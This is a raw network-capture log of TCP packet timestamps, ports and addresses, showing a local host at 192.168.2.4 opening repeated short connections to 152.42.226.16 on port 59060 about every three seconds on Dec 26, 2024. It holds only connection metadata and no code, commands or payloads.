Dec 26, 2024 19:29:52.705117941 CET	59060	49887	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:52.705255032 CET	49887	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:52.706290007 CET	49887	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:52.825978041 CET	59060	49887	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:55.539190054 CET	59060	49887	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:55.539263010 CET	49887	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:55.540455103 CET	49887	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:55.646775961 CET	49896	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:55.661164045 CET	59060	49887	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:55.766330004 CET	59060	49896	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:55.766413927 CET	49896	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:55.766638041 CET	49896	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:55.888631105 CET	59060	49896	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:58.426526070 CET	59060	49896	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:58.426728964 CET	49896	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:58.426814079 CET	49896	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:58.536645889 CET	49904	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:58.546593904 CET	59060	49896	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:58.656606913 CET	59060	49904	152.42.226.16	192.168.2.4
Dec 26, 2024 19:29:58.656872988 CET	49904	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:58.656970024 CET	49904	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:29:58.776513100 CET	59060	49904	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:01.355679989 CET	59060	49904	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:01.355750084 CET	49904	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:01.355839968 CET	49904	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:01.458798885 CET	49910	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:01.475378990 CET	59060	49904	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:01.580722094 CET	59060	49910	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:01.580812931 CET	49910	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:01.581043959 CET	49910	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:01.700673103 CET	59060	49910	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:04.261286020 CET	59060	49910	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:04.261831045 CET	49910	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:04.261929035 CET	49910	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:04.365428925 CET	49916	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:04.381567955 CET	59060	49910	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:04.485116959 CET	59060	49916	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:04.487509966 CET	49916	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:04.487708092 CET	49916	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:04.607249975 CET	59060	49916	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:07.143734932 CET	59060	49916	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:07.144331932 CET	49916	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:07.144526958 CET	49916	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:07.255527020 CET	49925	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:07.263931036 CET	59060	49916	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:07.375387907 CET	59060	49925	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:07.375474930 CET	49925	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:07.375737906 CET	49925	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:07.495448112 CET	59060	49925	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:10.036117077 CET	59060	49925	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:10.036173105 CET	49925	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:10.036263943 CET	49925	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:10.146622896 CET	49933	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:10.159163952 CET	59060	49925	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:10.267723083 CET	59060	49933	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:10.268042088 CET	49933	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:10.273402929 CET	49933	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:10.395725965 CET	59060	49933	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:12.924824953 CET	59060	49933	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:12.925060034 CET	49933	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:12.925060034 CET	49933	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:13.037429094 CET	49939	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:13.044684887 CET	59060	49933	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:13.159260035 CET	59060	49939	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:13.159411907 CET	49939	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:13.159877062 CET	49939	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:13.486232996 CET	59060	49939	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:16.035536051 CET	59060	49939	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:16.035599947 CET	49939	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:16.035732985 CET	49939	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:16.147144079 CET	49945	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:16.155189991 CET	59060	49939	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:16.266839981 CET	59060	49945	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:16.268884897 CET	49945	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:16.272543907 CET	49945	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:16.392177105 CET	59060	49945	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:18.925544024 CET	59060	49945	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:18.931746960 CET	49945	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:18.932109118 CET	49945	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:19.037403107 CET	49954	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:19.051522970 CET	59060	49945	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:19.157145977 CET	59060	49954	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:19.157583952 CET	49954	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:19.157583952 CET	49954	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:19.277087927 CET	59060	49954	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:21.832463980 CET	59060	49954	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:21.832539082 CET	49954	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:21.832581997 CET	49954	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:21.944772959 CET	49962	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:21.952322960 CET	59060	49954	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:22.064637899 CET	59060	49962	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:22.064740896 CET	49962	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:22.064928055 CET	49962	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:22.185148001 CET	59060	49962	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:24.723762035 CET	59060	49962	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:24.725469112 CET	49962	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:24.725579023 CET	49962	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:24.833586931 CET	49968	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:24.845232964 CET	59060	49962	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:24.953109980 CET	59060	49968	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:24.955570936 CET	49968	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:24.961429119 CET	49968	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:25.081486940 CET	59060	49968	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:27.613040924 CET	59060	49968	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:27.613095045 CET	49968	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:27.613149881 CET	49968	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:27.725446939 CET	49973	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:27.732889891 CET	59060	49968	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:27.845037937 CET	59060	49973	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:27.845117092 CET	49973	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:27.845325947 CET	49973	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:27.966254950 CET	59060	49973	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:30.503401995 CET	59060	49973	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:30.503530979 CET	49973	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:30.503642082 CET	49973	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:30.623066902 CET	59060	49973	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:30.624186039 CET	49978	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:30.743916988 CET	59060	49978	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:30.744081974 CET	49978	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:30.744345903 CET	49978	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:30.864121914 CET	59060	49978	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:33.410553932 CET	59060	49978	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:33.410619974 CET	49978	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:33.410713911 CET	49978	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:33.522068977 CET	49987	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:33.530293941 CET	59060	49978	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:33.641638041 CET	59060	49987	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:33.641710043 CET	49987	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:33.642071962 CET	49987	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:33.761821032 CET	59060	49987	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:36.316817999 CET	59060	49987	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:36.319540024 CET	49987	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:36.319622040 CET	49987	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:36.430314064 CET	49994	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:36.461288929 CET	59060	49987	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:36.581005096 CET	59060	49994	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:36.583951950 CET	49994	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:36.584374905 CET	49994	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:36.704761982 CET	59060	49994	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:39.298399925 CET	59060	49994	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:39.298481941 CET	49994	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:39.298763990 CET	49994	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:39.413134098 CET	50000	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:39.418293953 CET	59060	49994	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:39.532872915 CET	59060	50000	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:39.532941103 CET	50000	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:39.533180952 CET	50000	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:39.652695894 CET	59060	50000	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:42.223833084 CET	59060	50000	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:42.223933935 CET	50000	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:42.223985910 CET	50000	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:42.337469101 CET	50009	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:42.343713045 CET	59060	50000	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:42.457485914 CET	59060	50009	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:42.461509943 CET	50009	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:42.461770058 CET	50009	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:42.581305027 CET	59060	50009	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:45.113858938 CET	59060	50009	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:45.113944054 CET	50009	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:45.122766018 CET	50009	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:45.241350889 CET	50016	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:45.243107080 CET	59060	50009	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:45.363455057 CET	59060	50016	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:45.363562107 CET	50016	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:45.363850117 CET	50016	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:45.483381987 CET	59060	50016	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:48.020108938 CET	59060	50016	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:48.020190954 CET	50016	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:48.020288944 CET	50016	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:48.131387949 CET	50022	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:48.186465979 CET	59060	50016	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:48.251367092 CET	59060	50022	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:48.253293991 CET	50022	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:48.253293991 CET	50022	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:48.372956038 CET	59060	50022	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:50.909996986 CET	59060	50022	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:50.913583994 CET	50022	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:50.917469978 CET	50022	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:51.022778988 CET	50029	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:51.036978006 CET	59060	50022	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:51.142822981 CET	59060	50029	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:51.145656109 CET	50029	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:51.145812988 CET	50029	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:51.268532038 CET	59060	50029	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:53.801824093 CET	59060	50029	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:53.801887035 CET	50029	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:53.801969051 CET	50029	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:53.912539005 CET	50036	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:53.921555042 CET	59060	50029	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:54.033088923 CET	59060	50036	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:54.033155918 CET	50036	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:54.033323050 CET	50036	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:54.152776003 CET	59060	50036	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:56.735111952 CET	59060	50036	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:56.737649918 CET	50036	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:56.738687992 CET	50036	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:56.849514961 CET	50045	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:56.858298063 CET	59060	50036	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:56.971518993 CET	59060	50045	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:56.973634958 CET	50045	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:56.974014044 CET	50045	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:57.095529079 CET	59060	50045	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:59.629878998 CET	59060	50045	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:59.629939079 CET	50045	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:59.630018950 CET	50045	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:59.741372108 CET	50050	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:59.749857903 CET	59060	50045	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:59.861047029 CET	59060	50050	152.42.226.16	192.168.2.4
Dec 26, 2024 19:30:59.861116886 CET	50050	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:59.861352921 CET	50050	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:30:59.980786085 CET	59060	50050	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:02.519850969 CET	59060	50050	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:02.519994974 CET	50050	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:02.519994974 CET	50050	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:02.630422115 CET	50056	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:02.659183025 CET	59060	50050	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:02.750138044 CET	59060	50056	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:02.750293970 CET	50056	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:02.750802040 CET	50056	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:02.871299982 CET	59060	50056	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:05.411786079 CET	59060	50056	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:05.411870956 CET	50056	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:05.412240982 CET	50056	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:05.521898031 CET	50063	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:05.532038927 CET	59060	50056	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:05.641504049 CET	59060	50063	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:05.641573906 CET	50063	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:05.641815901 CET	50063	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:05.761378050 CET	59060	50063	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:08.301745892 CET	59060	50063	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:08.305535078 CET	50063	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:08.305648088 CET	50063	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:08.413490057 CET	50067	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:08.425344944 CET	59060	50063	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:08.538296938 CET	59060	50067	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:08.541639090 CET	50067	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:08.545495987 CET	50067	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:08.670759916 CET	59060	50067	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:11.207623959 CET	59060	50067	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:11.209608078 CET	50067	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:11.209608078 CET	50067	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:11.319192886 CET	50068	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:11.330179930 CET	59060	50067	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:11.439435005 CET	59060	50068	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:11.439524889 CET	50068	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:11.439768076 CET	50068	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:11.559969902 CET	59060	50068	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:14.098051071 CET	59060	50068	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:14.098124027 CET	50068	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:14.099030018 CET	50068	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:14.210242987 CET	50069	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:14.218589067 CET	59060	50068	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:14.331023932 CET	59060	50069	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:14.335798025 CET	50069	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:14.336307049 CET	50069	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:14.455863953 CET	59060	50069	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:16.988807917 CET	59060	50069	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:16.988917112 CET	50069	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:16.989059925 CET	50069	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:17.101635933 CET	50070	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:17.109639883 CET	59060	50069	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:17.221447945 CET	59060	50070	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:17.221600056 CET	50070	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:17.221771002 CET	50070	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:17.341250896 CET	59060	50070	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:19.896161079 CET	59060	50070	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:19.896222115 CET	50070	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:19.896342039 CET	50070	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:20.006856918 CET	50071	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:20.015815973 CET	59060	50070	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:20.126341105 CET	59060	50071	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:20.126410007 CET	50071	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:20.126601934 CET	50071	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:20.246169090 CET	59060	50071	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:22.845076084 CET	59060	50071	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:22.845150948 CET	50071	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:22.845253944 CET	50071	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:22.958726883 CET	50072	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:22.964870930 CET	59060	50071	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:23.078520060 CET	59060	50072	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:23.079722881 CET	50072	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:23.079849958 CET	50072	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:23.200109959 CET	59060	50072	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:25.755268097 CET	59060	50072	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:25.755345106 CET	50072	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:25.772150040 CET	50072	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:25.882299900 CET	50073	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:25.891699076 CET	59060	50072	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:26.001961946 CET	59060	50073	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:26.002033949 CET	50073	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:26.002208948 CET	50073	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:26.122737885 CET	59060	50073	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:28.660767078 CET	59060	50073	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:28.660856962 CET	50073	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:28.660974979 CET	50073	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:28.772547960 CET	50074	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:28.780559063 CET	59060	50073	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:28.893815041 CET	59060	50074	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:28.897706032 CET	50074	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:28.897826910 CET	50074	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:29.017288923 CET	59060	50074	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:31.559768915 CET	59060	50074	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:31.559824944 CET	50074	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:31.559921980 CET	50074	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:31.678514004 CET	50075	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:31.681379080 CET	59060	50074	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:31.800256968 CET	59060	50075	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:31.800335884 CET	50075	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:31.800551891 CET	50075	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:31.921432018 CET	59060	50075	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:34.517851114 CET	59060	50075	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:34.521650076 CET	50075	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:34.521650076 CET	50075	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:34.633538961 CET	50076	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:34.641894102 CET	59060	50075	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:34.753243923 CET	59060	50076	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:34.753393888 CET	50076	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:34.753815889 CET	50076	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:35.015242100 CET	59060	50076	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:37.583408117 CET	59060	50076	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:37.583462000 CET	50076	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:37.583528042 CET	50076	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:37.693984032 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:37.703119040 CET	59060	50076	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:37.813515902 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:37.813596010 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:37.813818932 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:37.935028076 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:40.474548101 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:40.475090027 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:40.475234985 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:40.585547924 CET	50078	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:40.785557032 CET	50077	59060	192.168.2.4	152.42.226.16
